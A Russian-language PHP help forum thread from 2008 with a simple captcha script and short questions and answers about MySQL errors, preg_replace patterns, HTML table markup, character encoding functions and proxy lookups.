Cамому писать лениво, код взял тут (http://kurilka.co.ua/archives/captcha/)

<?
session_start ();

switch ($a) {
case 'image':
$im = @imagecreate (80, 20) or die ("Cannot initialize new GD image stream!");
$bg = imagecolorallocate ($im, 232, 238, 247);
$char = $_SESSION['code'];

//создаём шум на фоне
for ($i=0; $i<=128; $i++) {
$color = imagecolorallocate ($im, rand(0,255), rand(0,255), rand(0,255)); //задаём цвет
imagesetpixel($im, rand(2,80), rand(2,20), $color); //рисуем пиксель
}

//выводим символы кода
for ($i = 0; $i < strlen($char); $i++) {
$color = imagecolorallocate ($im, rand(0,255), rand(0,128), rand(0,255)); //задаём цвет
$x = 5 + $i * 20;
$y = rand(1, 6);
imagechar ($im, 5, $x, $y, $char[$i], $color);
}

/*/упрощённый вариант
$color = imagecolorallocate($img, 0, 0, 0);
imagestring($im, 3, 5, 3, $char, $color);*/

//антикеширование
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

//создание рисунка в зависимости от доступного формата
if (function_exists("imagepng")) {
header("Content-type: image/png");
imagepng($im);
} elseif (function_exists("imagegif")) {
header("Content-type: image/gif");
imagegif($im);
} elseif (function_exists("imagejpeg")) {
header("Content-type: image/jpeg");
imagejpeg($im);
} else {
die("No image support in this PHP server!");
}
imagedestroy ($im);
break;
case 'submit':
//проверка кода
if (empty($_GET['code']) or empty($_SESSION['code'])) {
echo 'Вы не указали код подтверждения';
} elseif ($_GET['code'] != $_SESSION['code']) {
echo 'Код подтверждения не совпадает';
} else {
echo 'Всё Ok!';
}
break;
default:
$_SESSION['code'] = substr(md5(uniqid("")),0,4);
echo '<form action="captcha.php" method="get">'.
'<input type="hidden" name="a" value="submit">'.
'<label for="code">Код подтверждения:</label>'.
'<input type="text" id="code" name="code" size="4" maxlength="4">'.
'<img align="absmiddle" src="captcha.php?a=image">'.
'<input type="submit" value="Go">'.
'</form>';
break;
}
?>

UnPazz
06.12.2008, 15:23
подскажите какой функцией php получить путь к файлу?

159932
06.12.2008, 15:30
getcwd();

geforce
06.12.2008, 15:31
Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in G:\home\xses.ru\www\blocks\lefttd.php on line 5

Что означает эта ошибка?

5-я строчка:
$result2 = mysql_query("SELECT * FROM categories",$db);

Gifts
06.12.2008, 15:37
geforce у тя ошибка подключения к базе видимо. Уточняю, ищи строчку $db=mysql_connect(тут всякие данные для коннекта) после нее напиши:
if (!$db) die('Не возможно соединиться с базой ('.mysql_error().')');
Тогда тебе выведется что именно за ошибка

geforce
06.12.2008, 15:46
geforce у тя ошибка подключения к базе видимо. Уточняю, ищи строчку $db=mysql_connect(тут всякие данные для коннекта) после нее напиши:
if (!$db) die('Не возможно соединиться с базой ('.mysql_error().')');
Тогда тебе выведется что именно за ошибка

Спасибо! Упустил что в начале там нада:

<?php include ("blocks/connect.php"); ?>

Mixon
06.12.2008, 21:43
Помогите розобраться с ф-цыей preg_replace();
Вопшем проблема такова,мне нужно заменить весь текст который ниходиться между определенным текстом.

Вот в етом тексте

<form method='post' action='monster.php?modewpKZbattle&amp;gowpKZok&p;xxx861 '><input type="hidden" name="PHPSESSID" value="47318ed8b5drb5229aaedf4fd4d7344e" />

нужно заменить все что между

<form method='post' action='monster.php?modewpKZbattle&p;gowpKZok&amp;xxx

и

47318ed8b5drb5229aaedf4fd4d7344e" />

на пустоту.

Нужно заменить всесь текст между ними,несмотря на то какой он будет,он будет постоянно сменятся.Плиз,помогите...

159932
06.12.2008, 22:15
echo preg_replace("#(<form method='post' action='monster\.php\?modewpKZbattle&amp;gowpKZok&p;xxx) (.*?)(47318ed8b5drb5229aaedf4fd4d7344e\" />)#",'\\1\\3',$a);
регулярки вроде в другой теме ...

Mixon
07.12.2008, 10:59
echo preg_replace("#(<form method='post' action='monster\.php\?modewpKZbattle&amp;gowpKZok&p;xxx) (.*?)(47318ed8b5drb5229aaedf4fd4d7344e\" />)#",'\\1\\3',$a);
регулярки вроде в другой теме ...

Неработает,вопше ничего не заминяет!((

geforce
07.12.2008, 14:27
Нужна помощь не могу понять где здесь в таблице ошибка???

<TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
</TBODY></TABLE>
<?php include ("blocks/header.php");?>
<br>
<TABLE
width="75%" border=0 align="center" cellPadding=0 cellSpacing=0 bgcolor="#FFFFFF" style="MARGIN: 5px 0px 0px">
<TBODY>
<TR>
<TD width=15 height=20><IMG src="img/r13.gif" width="15" height="20"></TD>
<TD width="918" background=img/r19.gif>&nbsp;</TD>
<TD width=15><IMG src="img/r15.gif" width="15" height="20"></TD>
</TR>
<TR>
<TD background=img/r17.gif></TD>
<TD vAlign=top>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD vAlign=top width=815>
<TABLE cellSpacing=0 cellPadding=0 width=740 border=0 bgcolor="#FFFFFF">
<TBODY>
<TR>
<?php include ("blocks/lefttd.php"); ?>
<TD width="554" valign="top" bordercolor="#D4D0C8" bgColor=#FFFFFF style=" border-right-style:solid; border-left-style: solid; border-left-width: 1px; border-right-style: solid; border-right-width: 1px"><p><? echo $myrow["text"]; ?></p>
<p>&nbsp;</p></TD>
</TR>
</TBODY></TABLE><?php include ("blocks/righttd.php"); ?></TD>
</TR></TBODY></TABLE></TD>
<TD background=img/r18.gif></TD></TR>
<TR>
<TD height=19><IMG src="img/r14.gif" width="15" height="19"></TD>
<TD background=img/r20.gif></TD>
<TD><IMG src="img/r16.gif" width="15" height="19"></TD>
</TR>
</TBODY></TABLE>

159932
07.12.2008, 14:31
Неработает,вопше ничего не заминяет!((
попробуй поубирать лишние пробелы, кт-ые дописывает форум..

Pashkela
07.12.2008, 16:00
<TD width="918" background=img/r19.gif>&nbsp;</TD>

а надо

<TD width="918" background="img/r19.gif">&nbsp;</TD>

тоже самое здесь:
<TD background=img/r17.gif></TD>
<TD background=img/r18.gif></TD></TR>

в общем везде, где background

+ ты вообще-то даже не намекнул, какого рода у тебя там ошибка

[dei]
07.12.2008, 21:08
Помогите розобраться с ф-цыей preg_replace();
Вопшем проблема такова,мне нужно заменить весь текст который ниходиться между определенным текстом.

Вот в етом тексте

<form method='post' action='monster.php?modewpKZbattle&amp;gowpKZok&p;xxx861 '><input type="hidden" name="PHPSESSID" value="47318ed8b5drb5229aaedf4fd4d7344e" />

нужно заменить все что между

<form method='post' action='monster.php?modewpKZbattle&p;gowpKZok&amp;xxx

и

47318ed8b5drb5229aaedf4fd4d7344e" />

на пустоту.

Нужно заменить всесь текст между ними,несмотря на то какой он будет,он будет постоянно сменятся.Плиз,помогите...

Конкретней задачу изложи.

OnArs
07.12.2008, 21:21
Возможно ли изменить (закодировать) исходный код страницы?
Я имею ввиду - чтобы для пользователей, которые просматривают исходный код страницы - были какие либо кракозябы или просто не читаемый код, как то вот так :)

Например есть страница:
<html>
<title>Абра</title>
Я твой текст
</body>

При открытии исходного кода страницы выводить что-то вроде:
aslfhaslkjfhasldfjhasfhasldfhlsdkajhaslk234ljkhlkj ahsdljk23edh

Пишу в разделе php, так страницы на php и на страницах есть куски php кода...
Как всегда плюсы и заранее благодарен!

Iceangel_
07.12.2008, 21:39
Возможно ли изменить (закодировать) исходный код страницы?


https://forum.antichat.ru/showpost.php?p=408465&postcount=1

все возможно...

vizard-06
07.12.2008, 22:08
Mixon, тебе 159932 написаал всё верно,переменная $a должна принимать значение всей твоей страницы, короче вот

$a = '<form method=\'post\' action=\'monster.php?modewpKZbattle&amp;gowpKZok&p;xxx86 1 \'><input type="hidden" name="PHPSESSID" value="47318ed8b5drb5229aaedf4fd4d7344e" /> ';// твоё

echo preg_replace("#(<form method='post' action='monster\.php\?modewpKZbattle&amp;gowpKZok&p;xxx) (.*?)(47318ed8b5drb5229aaedf4fd4d7344e\" />)#",'\\1\\3',$a);

OnArs
08.12.2008, 00:15
Как заменить букву, скажем "А", на релевантный ей, какой-нибудь, %152?
Есть такая функция?

mff
08.12.2008, 00:34
Как у прокси сервера можно узнать страну и поддерживает или нет он протокол "connect" при помощи php?
Спасибо!

rushter
08.12.2008, 00:38
Страну по ip узнаешь(используя whois),подругому насколько я знаю никак.

Solker
08.12.2008, 01:10
OnArs,
По ASCII?
echo ord("A");

.:nbd:.
08.12.2008, 07:42
Как заменить букву, скажем "А", на релевантный ей, какой-нибудь, %152?
Есть такая функция?

urlencode('строка');

Poozy
08.12.2008, 08:54
print('&#'.ord('A').';');